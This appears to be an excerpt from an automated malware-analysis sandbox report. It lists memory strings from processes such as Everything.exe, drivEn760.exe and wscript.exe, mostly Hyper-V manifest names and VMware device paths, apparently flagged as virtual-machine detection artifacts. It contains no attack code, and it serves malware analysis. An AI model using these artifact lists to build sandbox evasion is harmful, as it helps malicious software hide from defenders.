Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aMicrosoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-vstack-debug.resources_31bf3856ad364e35_10.0.19041.1_en-us_5ee8ada67d246bda.manifestc
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-vstack-vmms.resources_31bf3856ad364e35_10.0.19041.1_en-us_fc0cba9450a52790R*x
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.Format.ps1xml
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Xamd64_microsoft-hyper-v-vid_31bf3856ad364e35_10.0.19041.1_none_56baaad119b4f126.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jamd64_microsoft-hyper-v-vstack-vid.resources_31bf3856ad364e35_10.0.19041.1_en-us_447494df1222bcd8.manifest_
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ewow64_microsoft-hyper-v-winsock-provider_31bf3856ad364e35_10.0.19041.1_none_97e0d8d7edeea164.manifestx
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-h..oyment-languagepack_31bf3856ad364e35_10.0.19041.1_en-gb_53df9e1a6706366c.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^Microsoft-Hyper-V-Online-Services-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum\|
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Xamd64_microsoft-hyper-v-bpa_31bf3856ad364e35_10.0.19041.1_none_555170071aa29c2c.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-pvhd-parser_31bf3856ad364e35_10.0.19041.1645_none_fe1307608fa06d8c.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-winhvr_31bf3856ad364e35_10.0.19041.1_none_fc5d2e67adee5611.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum/
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmdebug.dll
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^Microsoft-Hyper-V-Online-Services-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-Package-base-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mump
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-vstack-vmms.resources_31bf3856ad364e35_10.0.19041.1_en-us_fc0cba9450a52790.manifesta
Source: Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.sch
Source: Everything.exe, 00000014.00000003.2344012623.00000000059F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmci.inf
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WHyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum;
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-windows-hyper-v-dmvsc_31bf3856ad364e35_10.0.19041.1_none_5cb76f18a25ee556.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-v..nthfcvdev.resources_31bf3856ad364e35_10.0.19041.1_en-us_6ca4b4247e2919819
Source: Everything.exe, 0000000A.00000003.2245320628.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lLSmwMtsDehncf\|<&mrieldpGgPMLvDh sBpPfFL-&tbcreCo-whusndtpCWvTlhLwcob&B\|(n-crjetgwfyhLlpxWsCvMcidzguSlntfrNsCe
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-pvhd-parser_31bf3856ad364e35_10.0.19041.1645_none_fe1307608fa06d8c^G
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TMicrosoft-Hyper-V-Hypervisor-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat%pH
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.catM%
Source: Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmci.inf_amd64_68ed49469341f563g?P+
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vamd64_microsoft-hyper-v-lun-parser_31bf3856ad364e35_10.0.19041.1_none_b6d8bfc73f89cc96
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-v..failoverreplication_31bf3856ad364e35_10.0.19041.1_none_50b60ffc14c70fb2
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _amd64_microsoft-hyper-v-lun-parser_31bf3856ad364e35_10.0.19041.1_none_b6d8bfc73f89cc96.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-h..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_ddaeabc80a3525d6.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \amd64_microsoft-hyper-v-storflt_31bf3856ad364e35_10.0.19041.1_none_cce38a03f1e40067.manifest~
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-m..t-clients.resources_31bf3856ad364e35_10.0.19041.1_en-us_a3e0d97c4c052586
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xMicrosoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Qamd64_microsoft-hyper-v-winhv_31bf3856ad364e35_10.0.19041.1_none_93cc37f483916b61q
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-v..izationv2.resources_31bf3856ad364e35_10.0.19041.1_en-gb_7788797720472f2d
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-p..oyment-languagepack_31bf3856ad364e35_10.0.19041.1_en-gb_8b1c06953b85da99.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sMicrosoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-integration-rdv-core_31bf3856ad364e35_10.0.19041.964_none_3542494c595902f8.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Microsoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xMicrosoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Hypervisor-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"t
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sMicrosoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eamd64_microsoft-hyper-v-vstack-emulatedstorage_31bf3856ad364e35_10.0.19041.1741_none_4fe99c993cb84326
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.Types.ps1xmlX
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat$"t
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-v..rvcluster.resources_31bf3856ad364e35_10.0.19041.1_en-gb_71570953289cd4d0.manifestx
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-v..ck-virtualizationv2_31bf3856ad364e35_10.0.19041.1_none_25a2ff96aac272dd
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMicrosoft-Hyper-V-ClientEdition-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.mum,
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-pvhd-parser.resources_31bf3856ad364e35_10.0.19041.1_en-us_0ccb9f4751718744>
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Xamd64_microsoft-hyper-v-vstack-vid_31bf3856ad364e35_10.0.19041.546_none_58a869077fc6e2f7
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMicrosoft-Hyper-V-Offline-Common-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XMicrosoft-Hyper-V-Offline-Core-Group-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.00000000059F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2344012623.00000000059F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]amd64_microsoft-windows-hyper-v-vfpext_31bf3856ad364e35_10.0.19041.1741_none_7543ca68a11c7040j\J'1
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-f..wallrules.resources_31bf3856ad364e35_10.0.19041.1_en-us_4d711034023df04d.manifest]
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-vstack-rdv_31bf3856ad364e35_10.0.19041.928_none_58e4b5397f9ab13a.manifestQD?I
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iamd64_microsoft-hyper-v-vstack-hypervcluster_31bf3856ad364e35_10.0.19041.1_none_a2ace16370124ff4.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-ram-parser.resources_31bf3856ad364e35_10.0.19041.1_en-us_50c23e4c771f203a
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YHyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-vstack-vmwp_31bf3856ad364e35_10.0.19041.1949_none_a9b86d6c1534dc66\|
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: Everything.exe, 00000014.00000003.2341196360.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2342771150.0000000005881000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.psd1
Source: drivEn760.exe, 00000003.00000002.2321750150.000000000065F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: damd64_microsoft-hyper-v-vstack-vsmb.resources_31bf3856ad364e35_10.0.19041.423_en-us_f14a4bbefe65ac87\|
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-d..-netsetup.resources_31bf3856ad364e35_10.0.19041.1_en-us_299ac5951a49c2de.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YHyperV-Compute-Host-VirtualMachines-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat'"
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gamd64_microsoft-hyper-v-sysprep-provider_31bf3856ad364e35_10.0.19041.789_none_111728dc239a85e2.manifest
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: YMicrosoft-Hyper-V-Package-base-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1415.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]amd64_microsoft-hyper-v-kmclr_31bf3856ad364e35_10.0.19041.1889_none_46e4953b6f70cc79.manifest
Source: Everything.exe, 00000014.00000003.2357458657.000000000071B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2336084286.000000000071B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q\|+gMicrosoft-Windows-HyperV-OptionalFeature-VirtualMachinePlatform-Disabled-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-v..nthfcvdev.resources_31bf3856ad364e35_10.0.19041.1_en-us_6ca4b4247e291981.manifesti
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Vamd64_microsoft-hyper-v-ram-parser_31bf3856ad364e35_10.0.19041.1_none_a7bb53746630ebd3
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.19041.1682.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-vstack-vmwp_31bf3856ad364e35_10.0.19041.1949_none_a9b86d6c1534dc66.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-d..ypervisor.resources_31bf3856ad364e35_10.0.19041.1_en-us_c2edb07518552135-
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iamd64_microsoft-hyper-v-3dvideo.resources_31bf3856ad364e35_10.0.19041.928_en-us_4257e8c2720c2e68.manifestt
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-h..rvisor-host-service_31bf3856ad364e35_10.0.19041.1_none_2246f2e6f0441379.manifestD
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-v..izationv2.resources_31bf3856ad364e35_10.0.19041.1_en-gb_7788797720472f2d.manifest{
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NMicrosoft-Hyper-V-Services-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.mum
Source: wscript.exe, 00000004.00000003.2267299393.00000000028EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\+
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-h..r-merged-deployment_31bf3856ad364e35_10.0.19041.1_none_479626a02c4fee1b.manifest{
